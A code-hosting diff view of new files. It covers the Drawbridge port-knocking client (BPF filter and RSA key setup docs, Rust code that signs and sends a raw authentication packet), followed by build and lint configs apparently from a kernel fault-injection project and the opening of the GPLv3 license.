(*pkt)->tcp_h.fin = 0; // 1
(*pkt)->tcp_h.syn = 0; // 2
(*pkt)->tcp_h.rst = 1; // 4
(*pkt)->tcp_h.psh = 1; // 8
(*pkt)->tcp_h.ack = 1; // 16
(*pkt)->tcp_h.urg = 0; // 32
(*pkt)->tcp_h.window = htons(3104);
```
Then make sure you can create a BPF filter to match that specific packet. For the above we would have RST(4) + PSH(8) + ACK(16) = 28 and the offset for the window field in the TCP header is 14:
```
"tcp[tcpflags] == 28 and tcp[14:2] = 3104"
```
[Here is a good short article on tcp flags if you're unfamiliar.](https://danielmiessler.com/study/tcpflags/). Because tcpdump doesn't support tcp offset shortcuts for IPv6 you have to work with offsets relative to the IPv6 header to support it:
```
(tcp[tcpflags] == 28 and tcp[14:2] = 3104) or (ip6[40+13] == 28 and ip6[(40+14):2] = 3104)"
```
After you have a working BPF filter, you need to compile it and include the filter in the kernel module server-side. So to compile this and place the output in kernel/listen.c in struct sock_filter code[]:
```
tcpdump "(tcp[tcpflags] == 28 and tcp[14:2] = 3104) or (ip6[40+13] == 28 and ip6[(40+14):2] = 3104)" -dd
```
which gives us:
```c
struct sock_filter code[] = {
{ 0x28, 0, 0, 0x0000000c },
{ 0x15, 0, 9, 0x00000800 },
{ 0x30, 0, 0, 0x00000017 },
{ 0x15, 0, 13, 0x00000006 },
{ 0x28, 0, 0, 0x00000014 },
{ 0x45, 11, 0, 0x00001fff },
{ 0xb1, 0, 0, 0x0000000e },
{ 0x50, 0, 0, 0x0000001b },
{ 0x15, 0, 8, 0x0000001c },
{ 0x48, 0, 0, 0x0000001c },
{ 0x15, 5, 6, 0x00000c20 },
{ 0x15, 0, 5, 0x000086dd },
{ 0x30, 0, 0, 0x00000043 },
{ 0x15, 0, 3, 0x0000001c },
{ 0x28, 0, 0, 0x00000044 },
{ 0x15, 0, 1, 0x00000c20 },
{ 0x6, 0, 0, 0x00040000 },
{ 0x6, 0, 0, 0x00000000 },
};
```
And there you go! You have a unique packet that the DrawBridge kernel module will parse!
## Generating an RSA Key Pair Manually
First generate the key pair:
```
openssl genrsa -des3 -out private.pem 2048
```
Export the public key to a seperate file:
```bash
openssl rsa -in private.pem -outform DER -pubout -out public.der
```
If you take a look at the format, you'll see that this doesn't exactly match the kernel struct representation of a public key, so we'll need to extract the relevant data from the BIT_STRING field in the DER format:
```bash
vagrant@ubuntu-xenial:~$ openssl asn1parse -in public.der -inform DER
0:d=0 hl=4 l= 290 cons: SEQUENCE
4:d=1 hl=2 l= 13 cons: SEQUENCE
6:d=2 hl=2 l= 9 prim: OBJECT :rsaEncryption
17:d=2 hl=2 l= 0 prim: NULL
19:d=1 hl=4 l= 271 prim: BIT STRING <-------------------- THIS IS WHAT WE NEED
```
You can see that the BIT_STRING is at offset 19. From here we can extract the relevant portion of the private key format to provide the kernel module:
```bash
openssl asn1parse -in public.der -inform DER -strparse 19 -out output.der
```
You'll notice that this is compatible with [RFC 3447 where it outlines ASN.1 syntax for an RSA public key](https://tools.ietf.org/html/rfc3447#page-44).
```bash
0:d=0 hl=4 l= 266 cons: SEQUENCE
4:d=1 hl=4 l= 257 prim: INTEGER :BB82865B85ED420CF36054....
265:d=1 hl=2 l= 3 prim: INTEGER :010001
```
If you need to dump output.der as a C-style byte string:
```bash
hexdump -v -e '16/1 "_x%02X" "\n"' output.der | sed 's/_/\\/g; s/\\x //g; s/.*/ "&"/'
```

View File

@ -0,0 +1,155 @@
use failure::{bail, Error};
use openssl::rsa::Rsa;
use ring::{digest, rand, signature};
use std::io::{Read, Write};
#[derive(Debug)]
pub enum CryptoError {
IO(std::io::Error),
BadPrivateKey,
OOM,
}
// crypto callback prototype, can be used to implement multiple types in the future
//type GenericSignMethod = fn(data: &mut [u8], private_key_path: &std::path::Path) -> Result<Vec<u8>, CryptoError>;
/**
* Private method to read in a file
*/
fn read_file(path: &std::path::Path) -> Result<Vec<u8>, CryptoError> {
let mut file = std::fs::File::open(path).map_err(|e| CryptoError::IO(e))?;
let mut contents: Vec<u8> = Vec::new();
file.read_to_end(&mut contents)
.map_err(|e| CryptoError::IO(e))?;
Ok(contents)
}
/**
* Private method to write to a file
*/
fn write_file(contents: Vec<u8>, path: &std::path::Path) -> Result<(), CryptoError> {
let mut file = std::fs::File::create(path).map_err(|e| CryptoError::IO(e))?;
file.write_all(&contents).map_err(|e| CryptoError::IO(e))?;
Ok(())
}
/**
* Private method to convert a DER public key
* to a C header
*/
fn public_key_to_c_header(contents: &Vec<u8>) -> String {
let mut res = String::from("void * public_key = \n\"");
let mut count = 1;
for i in contents[24..].iter() {
res.push_str("\\x");
res.push_str(format!("{:02X}", i).as_str());
if count % 16 == 0 {
res.push_str("\"\n\"");
count = 0;
}
count += 1;
}
res.push_str("\";\n");
return res;
}
/**
* Generate a SHA256 digest
*/
pub fn sha256_digest<'a>(data: &[u8]) -> Result<Vec<u8>, CryptoError> {
let res = digest::digest(&digest::SHA256, data);
return Ok(res.as_ref().to_vec());
}
/**
* Sign data with an RSA private key
*/
pub fn sign_rsa<'a>(
data: &[u8],
private_key_path: &std::path::Path,
) -> Result<Vec<u8>, CryptoError> {
// Create an `RsaKeyPair` from the DER-encoded bytes.
let private_key_der = read_file(private_key_path)?;
let key_pair = signature::RsaKeyPair::from_der(&private_key_der)
.map_err(|_| CryptoError::BadPrivateKey)?;
// Sign the data, using PKCS#1 v1.5 padding and the SHA256 digest
let rng = rand::SystemRandom::new();
let mut signature = vec![0; key_pair.public_modulus_len()];
key_pair
.sign(&signature::RSA_PKCS1_SHA256, &rng, data, &mut signature)
.map_err(|_| CryptoError::OOM)?;
return Ok(signature);
}
/**
* Generate a new RSA key pair
*
* Currently relies on openssl, because Ring hasn't
* implemented RSA key generation yet
*/
pub fn gen_rsa(
bits: u32,
private_path: &std::path::Path,
public_path: &std::path::Path,
) -> Result<(), Error> {
let key_path = std::path::Path::new("key.h");
let rsa = match Rsa::generate(bits) {
Ok(key) => key,
Err(e) => {
bail!(e)
}
};
let private = match rsa.private_key_to_der() {
Ok(res) => res,
Err(e) => {
bail!("[-] Could not convert private key to DER format: {}", e)
}
};
let public = match rsa.public_key_to_der() {
Ok(res) => res,
Err(e) => {
bail!("[-] Could not convert public key to DER format: {}", e)
}
};
// create the public key C-header for Drawbridge
let mut header = public_key_to_c_header(&public);
header.push_str(format!("\n#define KEY_LEN {}\n", public[24..].len()).as_str());
// Write private key to file
match write_file(private, private_path) {
Ok(_res) => (),
Err(e) => {
bail!("[-] Could not write private key to file. {:?}", e)
}
}
println!("\t[+] created {}", private_path.display());
// Write public key to file
match write_file(public, public_path) {
Ok(_res) => (),
Err(e) => {
bail!("[-] Could not write public key to file. {:?}", e)
}
}
println!("\t[+] created {}", public_path.display());
// Write public key to file
match write_file(header.as_bytes().to_vec(), key_path) {
Ok(_res) => (),
Err(e) => {
bail!("[-] Could not write public key to file. {:?}", e)
}
}
println!("\t[+] created ./key.h");
Ok(())
}

View File

@ -0,0 +1,87 @@
use failure::{bail, Error};
use libc::timespec;
use std::mem;
use std::path::Path;
use crate::crypto;
// Drawbridge protocol data
#[repr(C, packed)]
pub struct db_data {
timestamp: timespec,
port: u16,
}
impl db_data {
// db_data method to convert to &[u8]
// which is necessary to use as a packet payload
pub fn as_bytes(&self) -> &[u8] {
union Overlay<'a> {
pkt: &'a db_data,
bytes: &'a [u8; mem::size_of::<db_data>()],
}
unsafe { Overlay { pkt: self }.bytes }
}
}
/**
* Convert a u32 to a [u8] in network byte order
*/
fn transform_u32_to_array_of_u8(x: u32) -> [u8; 4] {
let b1: u8 = ((x >> 24) & 0xff) as u8;
let b2: u8 = ((x >> 16) & 0xff) as u8;
let b3: u8 = ((x >> 8) & 0xff) as u8;
let b4: u8 = (x & 0xff) as u8;
return [b4, b3, b2, b1];
}
/**
* Drawbridge protocol payload will result in the following structure:
*
* data: db_data
* sig_size: u32 (must be network byte order)
* signature: [u8]
* digest_size: u32 (must be network byte order)
* digest: [u8]
*
*/
pub fn build_packet<'a>(unlock_port: u16, private_key_path: String) -> Result<Vec<u8>, Error> {
let path = Path::new(&private_key_path);
if !path.exists() {
bail!("[-] {} does not exist.", path.display())
}
// initialize the Drawbridge protocol data
let mut data = db_data {
port: unlock_port,
timestamp: libc::timespec {
tv_sec: 0,
tv_nsec: 0,
},
};
// get current timestamp
unsafe {
libc::clock_gettime(libc::CLOCK_REALTIME, &mut data.timestamp);
}
// sign the data
let signature = match crypto::sign_rsa(data.as_bytes(), path) {
Ok(s) => s,
Err(e) => {
bail!("{:?}", e)
}
};
// hash the data
let digest = crypto::sha256_digest(data.as_bytes()).unwrap();
// build the final payload
let mut result = data.as_bytes().to_vec();
result.extend(&transform_u32_to_array_of_u8(signature.len() as u32));
result.extend(signature.iter().cloned());
result.extend(&transform_u32_to_array_of_u8(digest.len() as u32));
result.extend(digest.iter().cloned());
return Ok(result);
}

View File

@ -0,0 +1,344 @@
extern crate failure;
extern crate pnet;
extern crate rand;
//#[macro_use] extern crate failure;
// Supported layer 3 protocols
use std::net::IpAddr;
// Supported layer 4 protocols
use pnet::packet::tcp::MutableTcpPacket;
use pnet::packet::udp::MutableUdpPacket;
// Transport Channel Types
use pnet::packet::ip::IpNextHeaderProtocols;
use pnet::transport::transport_channel;
use pnet::transport::TransportChannelType::Layer4;
use pnet::transport::TransportProtocol::Ipv4;
use pnet::transport::TransportProtocol::Ipv6;
// internal modules
mod crypto;
mod drawbridge;
mod protocols;
mod route;
use clap::{App, AppSettings, Arg, SubCommand};
use failure::{bail, Error};
use std::io::Write;
const MAX_PACKET_SIZE: usize = 2048;
/**
* Packet wrapper to pass to TransportSender
* This allows us to return both MutableTcpPacket
* and MutableUdpPacket from the builders
*/
enum PktWrapper<'a> {
Tcp(MutableTcpPacket<'a>),
Udp(MutableUdpPacket<'a>),
}
/**
* tx.send_to's first argument must implement
* the pnet::packet::Packet Trait
*/
impl pnet::packet::Packet for PktWrapper<'_> {
fn packet(&self) -> &[u8] {
match self {
PktWrapper::Tcp(pkt) => pkt.packet(),
PktWrapper::Udp(pkt) => pkt.packet(),
}
}
fn payload(&self) -> &[u8] {
match self {
PktWrapper::Tcp(pkt) => pkt.payload(),
PktWrapper::Udp(pkt) => pkt.payload(),
}
}
}
/**
* Method for the auth subcommand,
* authenticates with a remote Drawbridge Server
*/
fn auth(args: &clap::ArgMatches) -> Result<(), Error> {
// required so safe to unwrap
let proto = args.value_of("protocol").unwrap();
let dtmp = args.value_of("dport").unwrap();
let utmp = args.value_of("uport").unwrap();
let tmpkey = args.value_of("key").unwrap();
// expand the path
let key = match shellexpand::full(tmpkey) {
Ok(res) => res.to_string(),
Err(e) => {
bail!(e)
}
};
// check if valid ports were provided
let (unlock_port, dport) = match (utmp.parse::<u16>(), dtmp.parse::<u16>()) {
(Ok(uport), Ok(dport)) => (uport, dport),
_ => {
bail!("{}", "[-] Ports must be between 1-65535");
}
};
// check if a valid IpAddr was provided
let target = match args.value_of("server").unwrap().parse::<IpAddr>() {
Ok(e) => e,
_ => {
bail!("{}", "[-] IP address invalid, must be IPv4 or IPv6");
}
};
let iface = match args.value_of("interface") {
Some(interface) => interface.to_string(),
None => match route::get_default_iface() {
Ok(res) => res,
Err(e) => {
bail!(e)
}
},
};
let src_ip = match route::get_interface_ip(&iface) {
Ok(res) => res,
Err(e) => {
bail!(e)
}
};
println!("[+] Selected Interface {}, with address {}", iface, src_ip);
// Dynamically set the transport protocol, and calculate packet size
// todo, see if the header size can be calculated and returned in tcp.rs & udp.rs
let config: pnet::transport::TransportChannelType = match (proto, target.is_ipv4()) {
("tcp", true) => Layer4(Ipv4(IpNextHeaderProtocols::Tcp)),
("tcp", false) => Layer4(Ipv6(IpNextHeaderProtocols::Tcp)),
("udp", true) => Layer4(Ipv4(IpNextHeaderProtocols::Udp)),
("udp", false) => Layer4(Ipv6(IpNextHeaderProtocols::Udp)),
_ => bail!("[-] Protocol/IpAddr pair not supported!"),
};
// Create a new channel, dealing with layer 4 packets
let (mut tx, _rx) = match transport_channel(MAX_PACKET_SIZE, config) {
Ok((tx, rx)) => (tx, rx),
Err(e) => bail!(
"An error occurred when creating the transport channel: {}",
e
),
};
// build the Drawbridge specific protocol data
let data = match drawbridge::build_packet(unlock_port, key) {
Ok(res) => res,
Err(e) => {
bail!(e)
}
};
// Create the packet
let pkt: PktWrapper = match proto {
"tcp" => PktWrapper::Tcp(protocols::build_tcp_packet(
data.as_slice(),
src_ip,
target,
dport,
)?),
"udp" => PktWrapper::Udp(protocols::build_udp_packet(
data.as_slice(),
src_ip,
target,
dport,
)?),
_ => bail!("[-] not implemented"),
};
println!(
"[+] Sending {} packet to {}:{} to unlock port {}",
proto, target, dport, unlock_port
);
// send it
match tx.send_to(pkt, target) {
Ok(res) => {
println!("[+] Sent {} bytes", res);
}
Err(e) => {
println!("[-] Failed to send packet: {}", e);
bail!(-2);
}
}
Ok(())
}
/**
* Method for the keygen subcommand, generate new
* Drawbridge keys
*/
fn keygen(args: &clap::ArgMatches) -> Result<(), Error> {
let alg = args.value_of("algorithm").unwrap();
let tmpbits = args.value_of("bits").unwrap();
let tmpfile = args.value_of("outfile").unwrap();
// expand the path
let outfile = match shellexpand::full(tmpfile) {
Ok(res) => res.to_string(),
Err(e) => {
bail!(e)
}
};
let outfile_pub = outfile.to_owned() + ".pub";
let priv_path = std::path::Path::new(&outfile);
let pub_path = std::path::Path::new(&outfile_pub);
let parent = priv_path.parent().unwrap();
// create the output directory if it doesn't exist
if !parent.exists() {
print!(
"[!] {} doesn't exist yet, would you like to create it [Y/n]: ",
parent.display()
);
std::io::stdout().flush().unwrap();
let mut input = String::new();
std::io::stdin()
.read_line(&mut input)
.expect("error: unable to read user input");
if input == "Y\n" || input == "\n" || input == "y\n" {
println!("[*] Creating {:?}", parent.display());
std::fs::create_dir(parent)?;
} else {
bail!("[-] Specify or create a directory for the new keys.")
}
}
let bits = match tmpbits.parse::<u32>() {
Ok(b) => b,
Err(e) => {
bail!(e)
}
};
println!("[*] Generating {} keys...", alg);
match alg {
"rsa" => crypto::gen_rsa(bits, priv_path, pub_path)?,
"ecdsa" => {
bail!("[-] ECDSA is not implemented yet. Stay tuned.")
}
_ => unreachable!(),
};
println!("[+] Generated {} keys w/{} bits", alg, bits);
Ok(())
}
fn main() -> Result<(), Error> {
let args = App::new("db")
.version("1.0.0")
.author("landhb <https://blog.landhb.dev>")
.about("Drawbridge Client")
.setting(AppSettings::ArgRequiredElseHelp)
.subcommand(
SubCommand::with_name("keygen")
.about("Generate Drawbridge Keys")
.arg(
Arg::with_name("algorithm")
.short("a")
.long("alg")
.takes_value(true)
.required(true)
.possible_values(&["rsa", "ecdsa"])
.default_value("rsa")
.help("Algorithm to use"),
)
.arg(
Arg::with_name("bits")
.short("b")
.long("bits")
.takes_value(true)
.required(true)
.default_value("4096")
.help("Key size"),
)
.arg(
Arg::with_name("outfile")
.short("o")
.long("out")
.takes_value(true)
.required(true)
.default_value("~/.drawbridge/db_rsa")
.help("Output file name"),
),
)
.subcommand(
SubCommand::with_name("auth")
.about("Authenticate with a Drawbridge server")
.arg(
Arg::with_name("server")
.short("s")
.long("server")
.takes_value(true)
.required(true)
.help("Address of server running Drawbridge"),
)
.arg(
Arg::with_name("interface")
.short("e")
.long("interface")
.takes_value(true)
.help("Specify the outgoing interface to use"),
)
.arg(
Arg::with_name("protocol")
.short("p")
.long("protocol")
.takes_value(true)
.required(false)
.possible_values(&["tcp", "udp"])
.default_value("tcp")
.help("Auth packet protocol"),
)
.arg(
Arg::with_name("dport")
.short("d")
.long("dport")
.takes_value(true)
.required(true)
.help("Auth packet destination port"),
)
.arg(
Arg::with_name("uport")
.short("u")
.long("unlock")
.takes_value(true)
.required(true)
.help("Port to unlock"),
)
.arg(
Arg::with_name("key")
.short("i")
.long("key")
.takes_value(true)
.required(true)
.default_value("~/.drawbridge/db_rsa")
.help("Private key for signing"),
),
)
.get_matches();
// Match on each subcommand to handle different functionality
match args.subcommand() {
("auth", Some(auth_args)) => auth(auth_args)?,
("keygen", Some(keygen_args)) => keygen(keygen_args)?,
_ => {
println!("Please provide a valid subcommand. Run db -h for more information.");
}
}
return Ok(());
}

View File

@ -0,0 +1,129 @@
use failure::{bail, Error};
use pnet::packet::tcp::{MutableTcpPacket, TcpFlags, TcpOption};
use pnet::packet::udp::MutableUdpPacket;
use std::net::IpAddr;
// Builds an immutable UdpPacket to drop on the wire
pub fn build_udp_packet<'a>(
data: &'a [u8],
src_ip: IpAddr,
dst_ip: IpAddr,
dst_port: u16,
) -> Result<MutableUdpPacket<'a>, Error> {
// calculate total length
let mut length: usize = pnet::packet::ethernet::EthernetPacket::minimum_packet_size();
length += pnet::packet::udp::MutableUdpPacket::minimum_packet_size();
length += data.len();
// the IP layer is variable
if dst_ip.is_ipv4() && src_ip.is_ipv4() {
length += pnet::packet::ipv4::Ipv4Packet::minimum_packet_size()
} else {
length += pnet::packet::ipv6::Ipv6Packet::minimum_packet_size();
}
// Allocate enough room for the entire packet
let packet_buffer: Vec<u8> = vec![0; length];
let mut udp = match MutableUdpPacket::owned(packet_buffer) {
Some(res) => res,
None => {
println!("[!] Could not allocate packet!");
bail!(-1);
}
};
udp.set_source(rand::random::<u16>());
udp.set_destination(dst_port);
udp.set_length(length as u16);
// add the data
udp.set_payload(data);
// compute the checksum
match (src_ip, dst_ip) {
(IpAddr::V4(src_ip4), IpAddr::V4(dst_ip4)) => {
let checksum =
pnet::packet::udp::ipv4_checksum(&udp.to_immutable(), &src_ip4, &dst_ip4);
udp.set_checksum(checksum);
}
(IpAddr::V6(src_ip6), IpAddr::V6(dst_ip6)) => {
let checksum =
pnet::packet::udp::ipv6_checksum(&udp.to_immutable(), &src_ip6, &dst_ip6);
udp.set_checksum(checksum);
}
_ => {
bail!("[-] Unknown IP Address type")
}
}
return Ok(udp);
}
// Builds an immutable TcpPacket to drop on the wire
pub fn build_tcp_packet<'a>(
data: &'a [u8],
src_ip: IpAddr,
dst_ip: IpAddr,
dst_port: u16,
) -> Result<MutableTcpPacket<'a>, Error> {
// calculate total length
let mut length: usize = pnet::packet::ethernet::EthernetPacket::minimum_packet_size();
length += pnet::packet::tcp::MutableTcpPacket::minimum_packet_size();
length += data.len();
// the IP layer is variable
if dst_ip.is_ipv4() && src_ip.is_ipv4() {
length += pnet::packet::ipv4::Ipv4Packet::minimum_packet_size()
} else {
length += pnet::packet::ipv6::Ipv6Packet::minimum_packet_size();
}
// Allocate enough room for the entire packet
let packet_buffer: Vec<u8> = vec![0; length];
let mut tcp = match MutableTcpPacket::owned(packet_buffer) {
Some(res) => res,
None => {
println!("[!] Could not allocate packet!");
bail!(-1);
}
};
tcp.set_source(rand::random::<u16>());
tcp.set_destination(dst_port);
tcp.set_flags(TcpFlags::SYN);
tcp.set_window(64240);
tcp.set_data_offset(8);
tcp.set_urgent_ptr(0);
tcp.set_sequence(rand::random::<u32>());
tcp.set_options(&[
TcpOption::mss(1460),
TcpOption::sack_perm(),
TcpOption::nop(),
TcpOption::nop(),
TcpOption::wscale(7),
]);
// add the data
tcp.set_payload(data);
// compute the checksum
match (src_ip, dst_ip) {
(IpAddr::V4(src_ip4), IpAddr::V4(dst_ip4)) => {
let checksum =
pnet::packet::tcp::ipv4_checksum(&tcp.to_immutable(), &src_ip4, &dst_ip4);
tcp.set_checksum(checksum);
}
(IpAddr::V6(src_ip6), IpAddr::V6(dst_ip6)) => {
let checksum =
pnet::packet::tcp::ipv6_checksum(&tcp.to_immutable(), &src_ip6, &dst_ip6);
tcp.set_checksum(checksum);
}
_ => {
bail!("[-] Unknown IP Address type")
}
}
return Ok(tcp);
}

View File

@ -0,0 +1,53 @@
use failure::{bail, Error};
use std::fs::File;
use std::io::Read;
use std::net::IpAddr;
/*
* Grab an interface's src IP
*/
pub fn get_interface_ip(iface: &String) -> Result<IpAddr, Error> {
let interfaces = pnet::datalink::interfaces();
for i in interfaces {
if i.name == *iface {
return Ok(i.ips[0].ip());
}
}
bail!("[-] Could not find interface IP address")
}
/*
* Get a Linux host's default gateway
*/
pub fn get_default_iface() -> Result<String, Error> {
let mut file = File::open("/proc/net/route")?;
let mut contents = String::new();
file.read_to_string(&mut contents)?;
let mut iter = contents.lines();
let mut res = String::new();
while let Some(line) = iter.next() {
let v: Vec<&str> = line.split("\t").collect();
if v.len() < 3 {
continue;
}
let dst = match u64::from_str_radix(v[1], 16) {
Ok(a) => a,
Err(_e) => {
continue;
}
};
let gateway = match u64::from_str_radix(v[2], 16) {
Ok(a) => a,
Err(_e) => {
continue;
}
};
if dst == 0 && gateway != 0 {
res = v[0].to_string();
break;
}
}
Ok(res)
}

View File

@ -0,0 +1,6 @@
freebsd_instance:
image: freebsd-12-0-release-amd64
task:
install_script: pkg install -y gmake ruby
script: gmake

View File

@ -0,0 +1,109 @@
---
Language: Cpp
# BasedOnStyle: LLVM
AccessModifierOffset: -2
AlignAfterOpenBracket: Align
AlignConsecutiveAssignments: false
AlignConsecutiveDeclarations: false
AlignEscapedNewlines: Right
AlignOperands: true
AlignTrailingComments: true
AllowAllParametersOfDeclarationOnNextLine: true
AllowShortBlocksOnASingleLine: false
AllowShortCaseLabelsOnASingleLine: false
AllowShortFunctionsOnASingleLine: None
AllowShortIfStatementsOnASingleLine: false
AllowShortLoopsOnASingleLine: false
AlwaysBreakAfterDefinitionReturnType: None
AlwaysBreakAfterReturnType: None
AlwaysBreakBeforeMultilineStrings: false
AlwaysBreakTemplateDeclarations: false
BinPackArguments: true
BinPackParameters: true
BraceWrapping:
AfterClass: false
AfterControlStatement: false
AfterEnum: false
AfterFunction: false
AfterNamespace: false
AfterObjCDeclaration: false
AfterStruct: false
AfterUnion: false
AfterExternBlock: false
BeforeCatch: false
BeforeElse: false
IndentBraces: false
SplitEmptyFunction: true
SplitEmptyRecord: true
SplitEmptyNamespace: true
BreakBeforeBinaryOperators: None
BreakBeforeBraces: Attach
BreakBeforeInheritanceComma: false
BreakBeforeTernaryOperators: true
BreakConstructorInitializersBeforeComma: false
BreakConstructorInitializers: BeforeColon
BreakAfterJavaFieldAnnotations: false
BreakStringLiterals: true
ColumnLimit: 100
CommentPragmas: '^ IWYU pragma:'
CompactNamespaces: false
ConstructorInitializerAllOnOneLineOrOnePerLine: false
ConstructorInitializerIndentWidth: 4
ContinuationIndentWidth: 4
Cpp11BracedListStyle: true
DerivePointerAlignment: false
DisableFormat: false
ExperimentalAutoDetectBinPacking: false
FixNamespaceComments: true
ForEachMacros:
- foreach
- Q_FOREACH
- BOOST_FOREACH
IncludeBlocks: Preserve
IncludeCategories:
- Regex: '^"(llvm|llvm-c|clang|clang-c)/'
Priority: 2
- Regex: '^(<|"(gtest|gmock|isl|json)/)'
Priority: 3
- Regex: '.*'
Priority: 1
IncludeIsMainRegex: '(Test)?$'
IndentCaseLabels: false
IndentPPDirectives: None
IndentWidth: 2
IndentWrappedFunctionNames: false
JavaScriptQuotes: Leave
JavaScriptWrapImports: true
KeepEmptyLinesAtTheStartOfBlocks: true
MacroBlockBegin: ''
MacroBlockEnd: ''
MaxEmptyLinesToKeep: 1
NamespaceIndentation: None
ObjCBlockIndentWidth: 2
ObjCSpaceAfterProperty: false
ObjCSpaceBeforeProtocolList: true
PenaltyBreakAssignment: 2
PenaltyBreakBeforeFirstCallParameter: 19
PenaltyBreakComment: 300
PenaltyBreakFirstLessLess: 120
PenaltyBreakString: 1000
PenaltyExcessCharacter: 1000000
PenaltyReturnTypeOnItsOwnLine: 60
PointerAlignment: Right
ReflowComments: true
SortIncludes: false
SpaceAfterCStyleCast: false
SpaceBeforeAssignmentOperators: true
SpaceBeforeParens: ControlStatements
SpaceInEmptyParentheses: false
SpacesBeforeTrailingComments: 1
SpacesInAngles: false
SpacesInContainerLiterals: true
SpacesInCStyleCastParentheses: false
SpacesInParentheses: false
SpacesInSquareBrackets: false
Standard: Cpp11
TabWidth: 2
UseTab: Never
...

View File

@ -0,0 +1,13 @@
root = true
[*]
end_of_line = lf
insert_final_newline = true
trim_trailing_whitespace = true
[*.{c,h}]
indent_style = space
indent_size = 2
[Makefile]
indent_style = tab

View File

@ -0,0 +1,41 @@
name: CI
on:
push:
branches:
- master
pull_request:
schedule:
# run CI every day even if no PRs/merges occur
- cron: '0 12 * * *'
jobs:
lint:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Install dependencies
run: sudo apt install -y cppcheck clang-format-7
- name: Lint
run: |
make CLANG_FORMAT=clang-format-7 fmt && git diff --exit-code
cppcheck --error-exitcode=1 src/
build:
strategy:
matrix:
platform: ["ubuntu-18.04", "ubuntu-20.04"]
env:
- FAULTS: conservative
- FAULTS:
runs-on: ${{ matrix.platform }}
steps:
- uses: actions/checkout@v2
- uses: actions/setup-ruby@v1
with:
ruby-version: "2.7"
- name: Install dependencies
run: sudo apt install -y ruby build-essential linux-headers-$(uname -r)
- name: Build
env:
FAULTS: ${{ matrix.env.FAULTS }}
run: make

View File

@ -0,0 +1,21 @@
*.o
*.ko
*.o.ur-safe
*.cache.mk
Module.symvers
*.mod.c
modules.order
.tmp_versions
.vagrant/
*.gen.x
*.gen.h
*.gen.c
*.cmd
*~
src/krfexec/krfexec
src/krfctl/krfctl
src/krfmesg/krfmesg
src/module/codegen/.*.mk
*.bak
example/*
!example/*.{c,h}

View File

@ -0,0 +1,674 @@
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
